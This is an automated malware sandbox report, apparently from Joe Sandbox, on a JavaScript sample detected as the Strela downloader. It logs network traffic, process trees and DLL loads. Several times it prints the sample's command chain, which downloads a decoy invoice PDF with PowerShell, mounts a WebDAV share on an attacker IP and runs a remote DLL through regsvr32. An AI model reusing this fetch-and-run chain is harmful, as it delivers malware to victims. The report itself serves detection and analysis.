Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2120479738.0000025E01A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2176054263.00000205E74CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2176054263.00000205E74CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/2
Source: net.exe, 00000007.00000002.2176054263.00000205E74CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/er
Source: net.exe, 00000007.00000002.2176054263.00000205E7498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sm
Source: svchost.exe, 00000009.00000002.3412060181.000001EF268C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2176470492.000001EF2C000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5308, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 129415641190368510.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7080:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o1l3ylib.lmu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1592,i,8814480044832123330,15353537380463715724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1592,i,8814480044832123330,15353537380463715724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
